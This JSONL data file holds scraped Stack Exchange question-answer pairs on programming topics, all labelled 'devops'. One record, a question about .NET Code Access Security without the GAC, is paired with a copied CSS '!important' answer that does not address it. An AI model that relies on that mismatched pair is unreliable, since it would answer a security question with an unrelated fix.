{"id": "hf_17b5455c4b0c", "question": "<p>I'm storing many files of various lengths into a block-oriented medium (fixed-size e.g. 1024 bytes).  When reading back the file, each block will either be missing or correct (no bit errors or the like).  The missing blocks are random, and there's not necessarily any sequence to the missing blocks.  I'd like to be able to reassemble the entire file, as long as the number of  missing blocks is below some threshold, which probably varies with the encoding scheme.</p>\n\n<p>Most of the literature I've seen deals with sequences of bit errors in a stream of data, so that wouldn't seem to apply.</p>\n\n<p>A simple approach is to take N blocks at a time, then store a block containing the XOR of the N blocks.  If one of the N blocks is missing but the check block is not, then the missing block can be reconstructed.</p>\n\n<p>Are there error-correcting schemes which are well suited to this problem?  Links to literature or code are appreciated.</p>\n", "question_body": "", "answer": "Look into Reed-Solomon codes:\nhttp://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.164664"}
{"id": "hf_c62551edfee5", "question": "<p>Given a columns' index, how can you get an Excel column name?</p>\n<p>The problem is trickier than it sounds because it's <strong>not just base-26</strong>. The columns don't wrap over like normal digits would. Even the <a href=\"http://support.microsoft.com/kb/833402\" rel=\"nofollow noreferrer\">Microsoft Support Example</a> doesn't scale beyond ZZZ.</p>\n<p><sub><em>Disclaimer: This is some code I had done a while back, and it came across my desktop again today. I thought it was worthy of posting here as a pre-answered question.</em></sub></p>\n", "question_body": "", "answer": "The answer I came up with is to get a little recursive.  This code is in VB.Net:\n```\n```\nFunction ColumnName(ByVal index As Integer) As String\n        Static chars() As Char = {\"A\"c, \"B\"c, \"C\"c, \"D\"c, \"E\"c, \"F\"c, \"G\"c, \"H\"c, \"I\"c, \"J\"c, \"K\"c, \"L\"c, \"M\"c, \"N\"c, \"O\"c, \"P\"c, \"Q\"c, \"R\"c, \"S\"c, \"T\"c, \"U\"c, \"V\"c, \"W\"c, \"X\"c, \"Y\"c, \"Z\"c}\n\n        index -= 1 ' adjust so it matches 0-indexed array rather than 1-indexed column\n\n        Dim quotient As Integer = index \\ 26 ' normal / operator rounds. \\ does integer division, which truncates\n        If quotient > 0 Then\n               ColumnName = ColumnName(quotient) & chars(index Mod 26)\n        Else\n               ColumnName = chars(index Mod 26)\n        End If\nEnd Function\n```\n```\nAnd in C#:\n```\n```\nstring ColumnName(int index)\n{\n    index -= 1; //adjust so it matches 0-indexed array rather than 1-indexed column\n\n    int quotient = index / 26;\n    if (quotient > 0)\n        return ColumnName(quotient) + chars[index % 26].ToString();\n    else\n        return chars[index % 26].ToString();\n}\nprivate char[] chars = new char[] {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n```\n```\nThe only downside it that it uses 1-indexed columns rather than 0-indexed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.189275"}
{"id": "hf_cbeefd6b5aa0", "question": "<p>I am developing a site that makes extensive use of JavaScript (jQuery). I regularly get the IE 'Stop running this script?' error dialog when I try to close the browser. </p>\n\n<p>I'm guessing the problem occurs because the site is a single page that uses AJAX, so there are no postbacks to reset IE's count of commands executed.</p>\n\n<p>Client-side registry hacking is not an option.</p>\n\n<p>Does anyone know a way to get around this error?</p>\n\n<p>UPDATE: The page has a number (~10) interval timers that poll continually on 30 or 60 second  intervals.</p>\n", "question_body": "", "answer": "Do you by chance use a window.onunload handler? If you do, you might check that you don't have an infinite loop in there.\nTo check, at the bottom of your javascript do:\n```\n```\nwindow.onunload = null;\n```\n```\nand test again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.263405"}
{"id": "hf_8e52b8f77264", "question": "<p>How do you repopulate a form in ASP.NET MVC that contains a DropDownList?</p>\n", "question_body": "", "answer": "I believe you are asking how to maintain the value for a dropdown list after a form is submitted and re-displayed.  If so, please see below for a\nVERY SIMPLE\nexample:\nCreate a new MVC app (using MVC beta) and place the following in HomeController:\n```\n```\nprivate Dictionary<string, string> getListItems()\n{\n    Dictionary<string, string> d = new Dictionary<string, string>();\n    d.Add(\"Apple\", \"APPL\");\n    d.Add(\"Orange\", \"ORNG\");\n    d.Add(\"Banana\", \"BNA\");\n    return d;\n}\n\npublic ActionResult Index()\n{\n    Dictionary<string, string> listItems = getListItems();\n    SelectList selectList = new SelectList(listItems, \"Value\", \"Key\");\n    ViewData[\"FruitDropDown\"] = selectList;\n\n    return View();\n}\n\n[AcceptVerbs(HttpVerbs.Post)]\npublic ActionResult Index(FormCollection form)\n{\n\n    string selectedItem = form[\"FruitDropDown\"];\n\n    Dictionary<string, string> listItems = getListItems();\n    SelectList selectList = new SelectList(listItems, \"Value\", \"Key\", selectedItem);\n    ViewData[\"FruitDropDown\"] = selectList;\n\n    ViewData[\"Message\"] = \"You selected ID:\" + selectedItem;\n\n    return View();\n\n}\n```\n```\nAnd place this in Home\\Index.aspx in between the MainContent tags:\n```\n```\n<div><strong><%= ViewData[\"Message\"] %></strong></div>\n\n<% using (Html.BeginForm()) { %>\n<%= Html.DropDownList(\"FruitDropDown\",\"(select a fruit)\") %>\n<input type=\"submit\" value=\"Submit\" />\n<% } %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.296216"}
{"id": "hf_75fd1e6891be", "question": "<p>Does anyone know of some good tutorials that explain how to use the JQuery Slider.</p>\n\n<p>I've found a few, but none of them really present what I need in clear terms.  What I really need to figure out how to do is make the slider go from 1.0 - 5.0 (including all tenths) and when it changes set a hidden control based on that value.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "The\ndocumentation on the jQuery site\nis pretty good.\n```\n```\n$('#mySlider').slider({\n    min : 1,\n    max : 5,\n    stepping: .1,   // or, steps: 40\n    change : function (e, ui) {\n        $('#myHiddenInput').val(ui.value);\n    }\n})\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.337481"}
{"id": "hf_e53158b231bd", "question": "<p>I have a vertical menu in my system which is basically made of HTML <code>ul</code>/<code>li</code> with CSS styling (see image below). However I don't want the <code>li</code> items which are wider than the menu to wrap, I would prefer them to overflow with a horizontal scroll bar at the bottom of the menu. How can I do this in CSS?</p>\n", "question_body": "", "answer": "Use\n```\nwhite-space:nowrap\n```\n. Like so:\n```\n```\nli {\n  white-space:nowrap;\n}\n```\n```\nHere's some\ndocumentation\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.377278"}
{"id": "hf_3c1918bb7db2", "question": "<p>I've got a button that I'm adding as a subview of a table view's tableHeaderView. The button appears fine, and tap-and-holding on it works intermittently - for the most part, though, it's unresponsive. I've tried adding it as a subview of the table itself; the effect is about the same. I thought the problem might be with the scroll view's touch interception, but disabling scrolling on the table has no effect either.  </p>\n\n<p>Am I doing something wrong? Has anyone else encountered this?</p>\n\n<p>edit - to clarify, I'm talking about the main table header, not a section header, in a grouped-style table; think basically modeled after the \"Contact\" screen.</p>\n", "question_body": "", "answer": "You should consider that this is not the intended sue of the headerView and that an implementation such as that might result in rejection from the AppStore as a result of a HIG violation.  Given that the dimensions of a header are intended to be small, it is probably better to consider a restructuring of your view.  Having said that, there is no easy way to do it short of hand detecting touch events and determining the geometry yourself, then executing a selector based on the geometry - in short, rolling your own button class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.453488"}
{"id": "hf_607fbe28611f", "question": "<p>I've got a large amount of data (a couple gigs) I need to write to a zip file in Python.  I can't load it all into memory at once to pass to the .writestr method of ZipFile, and I really don't want to feed it all out to disk using temporary files and then read it back.</p>\n\n<p>Is there a way to feed a generator or a file-like object to the ZipFile library?  Or is there some reason this capability doesn't seem to be supported?</p>\n\n<p>By zip file, I mean zip file.  As supported in the Python zipfile package.</p>\n", "question_body": "", "answer": "gzip.GzipFile writes the data in gzipped chunks , which you can set the size of your chunks according to the numbers of lines read from the files.\nan example:\n```\n```\nfile = gzip.GzipFile('blah.gz', 'wb')\nsourcefile = open('source', 'rb')\nchunks = []\nfor line in sourcefile:\n  chunks.append(line)\n  if len(chunks) >= X: \n      file.write(\"\".join(chunks))\n      file.flush()\n      chunks = []\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.565799"}
{"id": "hf_001b80de398e", "question": "<p>I am hoping to dynamically update a ModelForm's inline Meta class from my view. Although this code seems to update the exclude list in the Meta class, the output from <code>as_p()</code>, <code>as_ul()</code>, etc does not reflect the updated Meta exclude.</p>\n\n<p>I assume then that the html is generated when the ModelForm is created not when the <code>as_*()</code> is called. Is there a way to force the update of the HTML? </p>\n\n<p>Is this even the best way to do it? I just assumed this <em>should</em> work.</p>\n\n<p>Thoughts?</p>\n\n<pre><code>from django.forms import ModelForm\n\nfrom testprogram.online_bookings.models import Passenger\n\nclass PassengerInfoForm(ModelForm):\n\n    def set_form_excludes(self, exclude_list):\n        self.Meta.exclude = excludes_list\n\n    class Meta:\n        model = Passenger\n        exclude = []\n</code></pre>\n", "question_body": "", "answer": "The Meta class is used to dynamically construct the form definition - so by the time you've created the ModelForm instance, the fields not in the exclude have already been added as the new object's attributes.\nThe normal way to do it would be to just have multiple class definitions for each possible exclude list.  But if you want the form itself to be dynamic, you'll have to create a class definition on the fly.  Something like:\n```\n```\ndef get_form(exclude_list):\n    class MyForm(ModelForm):\n        class Meta:\n            model = Passenger\n            exclude = exclude_list\n    return MyForm\n\nform_class = get_form(('field1', 'field2'))\nform = form_class()\n```\n```\nUPDATE\n:  I just revisited this post and thought I'd post a little more idiomatic way to handle a dynamic class:\n```\n```\ndef PassengerForm(exclude_list, *args, **kwargs):\n    class MyPassengerForm(ModelForm):\n        class Meta:\n            model = Passenger\n            exclude = exclude_list\n\n        def __init__(self):\n            super(MyPassengerForm, self).__init__(*args, **kwargs)\n\n    return MyPassengerForm()\n\nform = PassengerForm(('field1', 'field2'))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.640090"}
{"id": "hf_ad6b7ed0ad24", "question": "<p>We have a Silverlight application that needs to load a number of .png files.  We can load the images OK, but Silverlight doesn't support reading the pixel data from the Image class.</p>\n\n<p>Can anyone suggest a simple solution for getting at this data?  Our current best bet would be a third party .png loading library, but we are having trouble finding a suitable one.</p>\n", "question_body": "", "answer": "There is no built in classes for doing pixel based imagine manipulation/generation i n Silverlight. You need to implement your own PNG Encoder/Decoder that works on an byte array containing the image information. Joe Stegman has implemented one such encoder you should check out. He got lots of great information about \"editable images\" in Silverlight over at\nhttp://blogs.msdn.com/jstegman/\n. He does things like applying filters to images, generating mandlebrots and more.\nThis blog discuss a JPEG Silverilght Encoder (FJCore) you can use to resize and recompress photos client size:\nhttp://fluxcapacity.net/2008/07/14/fjcore-to-the-rescue/\nAnother tool is \"Fluxify\" which lets you resize and upload photos using Silverilght 2. Can be found over at\nhttp://fluxtools.net/\nSo yes, client side image processing can definitely be done in Silverilght 2. Happy hacking!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.677282"}
{"id": "hf_94c0a2b41b45", "question": "<p>I'm preferably looking for a SQL query to accomplish this, but other options might be useful too.</p>\n", "question_body": "", "answer": "```\n```\nSELECT LAST_DDL_TIME, TIMESTAMP\nFROM USER_OBJECTS\nWHERE OBJECT_TYPE = 'PROCEDURE'\nAND OBJECT_NAME = 'MY_PROC';\n```\n```\n```\nLAST_DDL_TIME\n```\nis the last time it was compiled.\n```\nTIMESTAMP\n```\nis the last time it was changed.\nProcedures may need to be recompiled even if they have not changed when a dependency changes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.701997"}
{"id": "hf_f72166e2e8c1", "question": "<p>How can I validate date strings in Perl?  I'd like to account for leap years and also time zones.  Someone may enter dates in the following formats:</p>\n\n<pre>\n11/17/2008\n11/17/2008 3pm\n11/17/2008 12:01am\n11/17/2008 12:01am EST\n11/17/2008 12:01am CST\n</pre>\n", "question_body": "", "answer": "CPAN\nhas many packages for dealing with dates, such as\nDateTime\nand\nDate::Manip\n. To parse your date, the Date::Parse module in\nTimeDate\nmight work (yes, there are both DateTime and TimeDate).\nIn general, whenever you need to do something in Perl, check CPAN. There's probably a module for it. Look at what's available and see what fits your situation.\nGood luck, :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.730594"}
{"id": "hf_04318baaa950", "question": "<p>Can someone show me a regex to select <strong>#OnlinePopup_AFE53E2CACBF4D8196E6360D4DDB6B70</strong> its okay to assume <code>#OnlinePopup</code></p>\n\n<pre><code>~DCTM~dctm://aicpcudev/37004e1f8000219e?DMS_OBJECT_SPEC=RELATION_ID#OnlinePopup_AFE53E2CACBF4D8196E6360D4DDB6B70_11472026_1214836152225_6455280574472127786\n</code></pre>\n", "question_body": "", "answer": "NB: The following is .NET Regex syntax, modify for your flavour.\nThe following:\n```\n```\n#[^_]+_[^_]+\n```\n```\nwill match:\nHash\nOne or more characters until an underscore\nUnderscore\nOne or more characters until an underscore\nIf the first bit is constant, and you want to be more specific you could use:\n```\n```\n#OnlinePopup_[A-F0-9]+\n```\n```\nThis will match\nOnlinePopup_ (exactly)\nOne or more hex characters until a non Hex character", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.767894"}
{"id": "hf_86c30ea9b717", "question": "<p>Does anyone have a list of email addresses that I can use to test my JS address validation script?  I'm looking for as complete of a list as is reasonable to test the most common edge cases, if not all cases.</p>\n", "question_body": "", "answer": "Examples valid according to RFC2822\nme@example.com\na.nonymous@example.com\nname+tag@example.com\nname\\@tag@example.com – this is a valid email address containing two @ symbols.\nspaces\\ are\\ allowed@example.com\n\"spaces may be quoted\"@example.com\n!#$%&'*+-/=.?^_`{|}~@[1.0.0.127]\n!#$%&'*+-/=.?^_`{|}~@[IPv6:0123:4567:89AB:CDEF:0123:4567:89AB:CDEF]\nme(this is a comment)@example.com – comments are discouraged but not prohibited by RFC2822.\nExamples invalid according to RFC2822s\nme@\n@example.com\nme.@example.com\n.me@example.com\nme@example..com\nme.example@com\nme\\@example.com\nFrom :\nhttp://en.wikibooks.org/wiki/JavaScript/Best_Practices", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.797263"}
{"id": "hf_d59de0fbb456", "question": "<p>Where can I set it? I need files to be encoded in UTF-8 by default... there is nothing in Tools -> Options or any other menu as far as I know :( </p>\n\n<p>P.S. I don't need to set default encoding for Project or so, I need it to be default for any files I create. Thanks for your help :)</p>\n", "question_body": "", "answer": "IIRC, source files in visual studio are already encoded as UTF-8.\nHowever, if I'm wrong or if you just want to force any specific coding, you can do it by choosing the\n```\nSave As...\n```\noption for the file and checking the pull down options under the save button from there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.819589"}
{"id": "hf_c81e9a36654d", "question": "<p>When I create a new instance of a ChannelFactory:</p>\n\n<pre><code>var factory = new ChannelFactory&lt;IMyService&gt;();\n</code></pre>\n\n<p>and that I create a new channel, I have an exception saying that the address of the Endpoint is null. </p>\n\n<p>My configuration inside my web.config is as mentioned and everything is as it is supposed to be (especially the address of the endpoint).</p>\n\n<p>If I create a new MyServiceClientBase, it loads all the configuration from my channel factory:</p>\n\n<pre><code>var factoryWithClientBase = new MyServiceClientBase().ChannelFactory;\nConsole.WriteLine(factoryWithClientBase.Endpoint.Address); //output the configuration inside the web.config\n\n\nvar factoryWithChannelFactory = new ChannelFactory&lt;IMyService&gt;();\nConsole.WriteLine(factoryWithChannelFactory.Endpoint.Address); //output nothing (null)\n</code></pre>\n\n<p>Why?</p>\n", "question_body": "", "answer": "Will it work if you provide the endpoint with a name like this in Web.Config:\n```\n```\n<endpoint address=\"http://localhost:2000/MyService/\" binding=\"wsHttpBinding\"\n    behaviorConfiguration=\"wsHttpBehaviour\" contract=\"IService\"\n    name=\"MyWsHttpEndpoint\" />\n```\n```\nAnd create the channel using ChannelFactory like this:\n```\n```\nvar factory = new ChannelFactory<IMyService>(\"MyWsHttpEndpoint\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.867703"}
{"id": "hf_5bbc260d779b", "question": "<p>If I have...</p>\n\n<pre><code>class Bunny &lt; ActiveRecord::Base\n  has_many :carrots\nend\n</code></pre>\n\n<p>...how can I check in the View if <code>@bunny</code> has any carrots?  I want to do something like this:</p>\n\n<pre><code>&lt;% if @bunny.carrots? %&gt;\n  &lt;strong&gt;Yay! Carrots!&lt;/strong&gt;\n  &lt;% for carrot in @bunny.carrots %&gt;\n    You got a &lt;%=h carrot.color %&gt; carrot!&lt;br /&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n</code></pre>\n\n<p>I know <code>@bunny.carrots?</code> doesn't work -- what would?</p>\n", "question_body": "", "answer": "either:\n```\n```\nif @bunny.carrots.length>0\n```\n```\nor\n```\n```\nunless @bunny.carrots.nil? || @bunny.carrots.length>0\n```\n```\nor\n```\n```\nif @bunny.carrots.any?\n```\n```\nby the way, you will find more operations on collections if you use irb or script/console with require 'irb/completion'", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.892334"}
{"id": "hf_a743c9a8d92b", "question": "<p>I'm using JPA (Hibernate's implementation) to annotate entity classes to persist to a relational database (MySQL or SQL Server). Is there an easy way to auto generate the database schema (table creation scripts) from the annotated classes?</p>\n\n<p>I'm still in the prototyping phase and anticipate frequent schema changes. I would like to be able to specify and change the data model from the annotated code. Grails is similar in that it generates the database from the domain classes.</p>\n", "question_body": "", "answer": "You can use\nhbm2ddl\nfrom Hibernate. The docs are\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.921960"}
{"id": "hf_7d757397912b", "question": "<p>Is there any way to force Text-Mate to use a two-space tab instead of a full tab when editing HTML (Rails) documents?</p>\n", "question_body": "", "answer": "Yes. There's a pop-up menu near the bottom middle of the window that probably reads\n```\nTabs: 4\n```\nor something like that. Click on it and hange it to\n```\n2\n```\nand\n```\nSoft Tabs\n```\n.\nYou should have an\n```\nrhtml\n```\nor\n```\nerb\n```\ndocument (or whatever file type you want to change) open for editing when doing this. The changes will stick for all documents of that type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.972335"}
{"id": "hf_8baa22a074b7", "question": "<p>Is it possible to write a PL/SQL query to identify a complete list of a stored procedures dependencies? I'm only interested in identifying other stored procedures and I'd prefer not to limit the depth of nesting that it gets too either. For example, if A calls B, which calls C, which calls D, I'd want B, C and D reported as dependencies for A.</p>\n", "question_body": "", "answer": "On\nthis page\n, you will find the following query which uses the\nPUBLIC_DEPENDENCY\ndictionary table:\n```\n```\nSELECT lvl\n     , u.object_id\n     , u.object_type\n     , LPAD (' ', lvl) || object_name obj\n   FROM ( SELECT LEVEL lvl, object_id\n            FROM SYS.public_dependency s\n         START WITH s.object_id =\n                      ( SELECT object_id\n                          FROM user_objects\n                         WHERE object_name = UPPER ('&OBJECT_NAME')\n                           AND object_type = UPPER ('&OBJECT_TYPE'))\n         CONNECT BY s.object_id = PRIOR referenced_object_id\n         GROUP BY LEVEL, object_id) tree\n      , user_objects u\n  WHERE tree.object_id = u.object_id\nORDER BY lvl\n/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.996109"}
{"id": "hf_d5df31527823", "question": "<p>I get an error when I compile this code:</p>\n\n<pre><code>using System;\n\npublic struct Vector2\n{\n    public event EventHandler trigger;\n\n    public float X;\n    public float Y;\n\n    public Vector2 func()\n    {\n        Vector2 vector;\n        vector.X = 1;\n        vector.Y = 2;\n        return vector;  // error CS0165: Use of unassigned local variable 'vector'\n    }\n}\n</code></pre>\n\n<p>hi!</p>\n\n<p>The compiler says: \"Use of unassigned local variable 'vector'\" and points to the return value. It looks to me that Vector2 become a reference type (without the event member it acts normally). What is happening?</p>\n", "question_body": "", "answer": "In C# you still need to 'new' a struct to call a constructor unless you are initializing\nall\nthe fields.  You left EventHandler member 'trigger' unassigned.\nTry either assigning to 'trigger' or using:\n```\n```\nVector2 vector = new Vector2()\n```\n```\nThe new object is\nnot\nallocated on the heap, it is still allocated on the functions stack.\nTo quote\nMSDN\n:\nWhen you create a struct object using\n  the new operator, it gets created and\n  the appropriate constructor is called.\n  Unlike classes, structs can be\n  instantiated without using the new\n  operator.\nIf you do not use new,\nthe\n  fields will remain unassigned and\nthe\nobject cannot be used\nuntil all of the\n  fields are initialized.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.078100"}
{"id": "hf_a8e5fc088106", "question": "<p>I would like to be able to manipulate the DOM just before my page is sent to be printed. Internet Explorer has an event on the window object called \"onbeforeprint\" but this is proprietary and isn't supported by other browsers. Is it possible to do this via javascript (jQuery in particular, if possible)?</p>\n\n<p>Before you ask, I can't easily use a print media stylesheet to apply the changes as the elements I need to change have inline styles which can't be overridden with a global stylesheet. I need to override these inline styles for print purposes. It should be possible to modify the existing jQuery if needs be, however that would be a more time-consuming and risky change.</p>\n\n<p>Cheers,\nZac</p>\n", "question_body": "", "answer": "Adding\n```\n!important\n```\nafter a property in your CSS will allow it to override the inline styles. For example:\n```\n```\n<div class=\"test\" style=\"color: blue;\">Some Text</div>\n```\n```\ncss:\n```\n```\n.test {\n     color: red !important;\n  }\n```\n```\nwill be displayed red.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.118873"}
{"id": "hf_7a0aba3f4152", "question": "<p>I am wondering if it is possible to use Code Access Security, and a custom permission class (and attribute), without having to register the assembly that the attribute is in, in the GAC.</p>\n\n<p>At the moment, I get a TypeLoadException when the method with my attribute is called, and I can't seem to get around it. Everything i've read seems to imply that you need to use the GAC in order to achieve this.</p>\n\n<p>Does anyone have any insight?</p>\n\n<p>I've tried to acheive the same end-goal with AOP using PostSharp or AspectDNG, but both of those add an addition dependency to my product, which is not ideal.</p>\n", "question_body": "", "answer": "Adding\n```\n!important\n```\nafter a property in your CSS will allow it to override the inline styles. For example:\n```\n```\n<div class=\"test\" style=\"color: blue;\">Some Text</div>\n```\n```\ncss:\n```\n```\n.test {\n     color: red !important;\n  }\n```\n```\nwill be displayed red.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.162426"}
{"id": "hf_679cfedeb573", "question": "<p>Is there a way in MySQL to select rows which fall on a specific day, as in Mondays, using a date column?</p>\n", "question_body": "", "answer": "Look up the DAYOFWEEK() function\nhere\nin the MySQL Online Docs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.257735"}
{"id": "hf_6e9f7410e191", "question": "<p>I do remember seeing someone ask something along these lines a while ago but I did a search and couldn't find anything. </p>\n\n<p>I'm trying to come up with the cleanest way to clear all the controls on a form back to their defaults (e.g., clear textboxes, uncheck checkboxes).</p>\n\n<p>How would you go about this?</p>\n", "question_body": "", "answer": "What I have come up with so far is something like this:\n```\n```\npublic static class extenstions\n{\n    private static Dictionary<Type, Action<Control>> controldefaults = new Dictionary<Type, Action<Control>>() { \n            {typeof(TextBox), c => ((TextBox)c).Clear()},\n            {typeof(CheckBox), c => ((CheckBox)c).Checked = false},\n            {typeof(ListBox), c => ((ListBox)c).Items.Clear()},\n            {typeof(RadioButton), c => ((RadioButton)c).Checked = false},\n            {typeof(GroupBox), c => ((GroupBox)c).Controls.ClearControls()},\n            {typeof(Panel), c => ((Panel)c).Controls.ClearControls()}\n    };\n\n    private static void FindAndInvoke(Type type, Control control) \n    {\n        if (controldefaults.ContainsKey(type)) {\n            controldefaults[type].Invoke(control);\n        }\n    }\n\n    public static void ClearControls(this Control.ControlCollection controls)\n    {\n        foreach (Control control in controls)\n        {\n             FindAndInvoke(control.GetType(), control);\n        }\n    }\n\n    public static void ClearControls<T>(this Control.ControlCollection controls) where T : class \n    {\n        if (!controldefaults.ContainsKey(typeof(T))) return;\n\n        foreach (Control control in controls)\n        {\n           if (control.GetType().Equals(typeof(T)))\n           {\n               FindAndInvoke(typeof(T), control);\n           }\n        }    \n\n    }\n\n}\n```\n```\nNow you can just call the extension method ClearControls like this:\n```\n```\nprivate void button1_Click(object sender, EventArgs e)\n    {\n        this.Controls.ClearControls();\n    }\n```\n```\nEDIT:  I have just added a generic ClearControls method that will clear all the controls of that type, which can be called like this:\n```\n```\nthis.Controls.ClearControls<TextBox>();\n```\n```\nAt the moment it will only handle top level controls and won't dig down through groupboxes and panels.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:43.326469"}
